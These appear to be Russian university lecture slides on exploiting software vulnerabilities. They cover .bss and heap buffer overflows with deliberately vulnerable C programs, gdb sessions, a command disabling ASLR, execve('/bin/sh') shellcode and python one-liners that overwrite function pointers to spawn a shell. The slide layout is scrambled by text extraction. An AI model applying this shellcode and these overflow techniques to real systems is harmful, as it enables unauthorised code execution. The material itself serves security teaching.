Скачиваний:
11
Добавлен:
27.03.2022
Размер:
414.93 Кб
Скачать

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ ПО ЛЕКЦИЯ 0x03

Браницкий А.А.

Санкт-Петербургский государственный университет телекоммуникаций им. проф. М.А. Бонч-Бруевича

Лекция 3, Санкт-Петербург, 20 октября 2021 г.

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

1/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Содержание

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

 

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

vuln_bss.c

 

 

 

 

1

# include < stdio .h >

 

./vuln_bss aaa

 

2

# include < string .h >

 

addr buf: 0x8049840

3

# include < stdlib .h >

 

addr &f: 0x80498a4

4 void

prt ( char

*v)

 

v: aaa

 

5

{

 

 

 

 

 

 

 

6

printf ("v: %s\n", v);

 

Разница между адресами

7

}

 

 

 

 

 

переменных &f и buf:

8 int

main (int

argc , char

* argv [])

0x80498a4-0x8049840=100

9

{

 

 

 

 

 

 

 

10

if

( argc !=

2)

exit (1);

./vuln_bss \

11

static

char

buf [100];

 

`python -c 'print "a" * 99'`

12

static

void

(*f)( char

*);

addr buf: 0x8049840

13

printf (" addr buf: %p\n", buf );

addr &f: 0x80498a4

14

printf (" addr &f: %p\n", &f);

v: aaa...

 

15

f =

prt;

 

 

 

 

 

16

strcpy (buf ,

argv [1]);

 

./vuln_bss \

17

f(buf );

 

 

 

 

`python -c 'print "a" * 100'`

18

return

0;

 

 

 

addr buf: 0x8049840

19

}

 

 

 

 

 

addr &f: 0x80498a4

 

Компиляция

 

 

 

Segmentation fault

gcc -g -m32 --static -fno-stack-protector \ -z execstack vuln_bss.c -o vuln_bss

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

2/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

vuln_bss.c (отладка)

$ gdb -q --args ./vuln_bss $(python -c 'print "a"* 104')

(gdb) b 16

Breakpoint 1 at 0x80484ca: file vuln_bss.c, line 16.

(gdb) r

Starting program: ...

(gdb) p prt

$1 = {void (char *)} 0x804845b <prt>

(gdb) p f

$2 = (void (*)(char *)) 0x804845b <prt>

(gdb) n

17 f(buf);

(gdb) p f

$3 = (void (*)(char *)) 0x8048400 <register_tm_clones+48>

(gdb) n

Program received signal SIGSEGV, Segmentation fault. 0x08048400 in register_tm_clones ()

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

3/26

Переполнение буфера в .bss

Переполнение буфера в куче

 

printf

Эксплойт форматной строки

 

Адрес переменной окружения

 

1

# include < stdio .h >

 

./pea SHELLCODE

 

2

# include < stdlib .h >

 

addr SHELLCODE: 0xffffda2d

3 int main ( int argc , char * argv [])

 

SHELLCODE=...Phn/shh//bi...

4

{

 

 

 

 

5

printf (" addr %s: %p\n",

 

mv pea pea_

6

argv [1] , getenv ( argv [1]));

 

./pea_ SHELLCODE

7

printf ("%s=%s\n",

 

addr SHELLCODE: 0xffffda2b

8

argv [1] , getenv ( argv [1]));

 

SHELLCODE=...Phn/shh//bi...

9

}

 

 

 

 

 

 

 

 

mv pea_ pea__

 

 

 

 

./pea__ SHELLCODE

 

 

 

 

addr SHELLCODE: 0xffffda29

 

Отключение механизма ASLR

 

SHELLCODE=...Phn/shh//bi...

 

 

 

 

 

 

 

sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space '

Компиляция для 32-битных платформ gcc -m32 print_env_addr.c -o pea

Экспорт переменной окружения

export SHELLCODE=$(echo -e "\x31\xc0\x50\x68\x6e\x2f\x73\x68"\ "\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80")

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

4/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Эксплойт переполнения буфера в .bss

Адрес переменной SHELLCODE в программе vuln_bss python -c 'print "{:02x}".format(0xffffda2d - \ (len("./vuln_bss") - len("./pea")) * 2) '

da23

./vuln_bss $(python -c 'print "a" * 100 + \ "\x23\xda\xff\xff"')

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

5/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Результат

$ ./vuln_bss $(python -c 'print "a"* 100 + "\x23\xda\xff\xff"') addr buf: 0x80ea080

addr &f: 0x80ea0e4 $ ls -1 /

bin boot dev etc home

initrd.img

initrd.img.old lib

lib32

lib64

libx32

lost+found media

mnt opt proc root

...

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

6/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

vuln_heap.c

 

 

 

 

 

1

# include < stdio .h >

 

./vuln_heap aaa

2

# include < string .h >

 

addr buf: 0x80ed608

3

# include < stdlib .h >

 

addr f: 0x80ed670

4 void

prt ( char

*v)

 

v: aaa

 

 

5

{

 

 

 

 

 

 

 

 

 

6

printf ("v: %s\n", v);

Разница между указателями

7

}

 

 

 

 

 

f è buf:

 

 

8 int

main (int

argc ,

char * argv [])

0x80ed670-0x80ed608=104

9

{

 

 

 

 

 

 

 

 

 

10

if

( argc

!=

2) exit (1);

./vuln_heap \

 

11

char *buf

=

malloc (100);

`python -c 'print "a" * 99'`

12

unsigned

long *f =

malloc (4);

addr buf: 0x80ed608

13

*f = ( unsigned long )prt;

addr f: 0x80ed670

14

printf (" addr buf: %p\n", buf );

v: aaa...

 

 

15

printf (" addr f: %p\n", f);

 

 

 

 

16

strcpy (buf ,

argv [1]);

./vuln_heap \

 

17

(( void (*)( char *))(* f))( buf );

`python -c 'print "a" * 100'`

18

free (buf );

 

 

 

addr buf: 0x80ed608

19

free (f);

 

 

 

 

addr f: 0x80ed670

20

return 0;

 

 

 

 

v: aaa...

 

 

21

}

 

 

 

 

 

*** Error in

`./vuln_heap':

 

Компиляция: gcc -g -m32 --static \

double free or corruption

 

-fno-stack-protector -z execstack \

 

vuln_heap.c -o vuln_heap

 

 

 

 

 

 

 

Браницкий А.А., СПбГУТ

 

Лекция 3, Санкт-Петербург, 2021

 

 

7/26

 

 

 

 

 

 

 

 

 

 

 

(gdb) n
(gdb) r

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

vuln_heap.c (отладка)

$ gdb -q --args ./vuln_heap $(python -c 'print "a"* 100')

(gdb) b 18

Breakpoint 1 at 0x8048ef1: file vuln_heap.c, line 18. Starting program: ...

*** Error in `./vuln_heap': double free or corruption

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

8/26

Переполнение буфера в .bss

Переполнение буфера в куче

printf

Эксплойт форматной строки

 

 

 

 

Эксплойт переполнения буфера в куче

Адрес переменной SHELLCODE в программе vuln_heap

python -c 'print "{:02x}".format(0xffffda2d - \ (len("./vuln_heap") - len("./pea")) * 2) '

da21

./vuln_heap $(python -c 'print "a" * 104 + \ "\x21\xda\xff\xff"')

Браницкий А.А., СПбГУТ

Лекция 3, Санкт-Петербург, 2021

9/26

Соседние файлы в предмете Эксплуатация уязвимостей программного обеспечения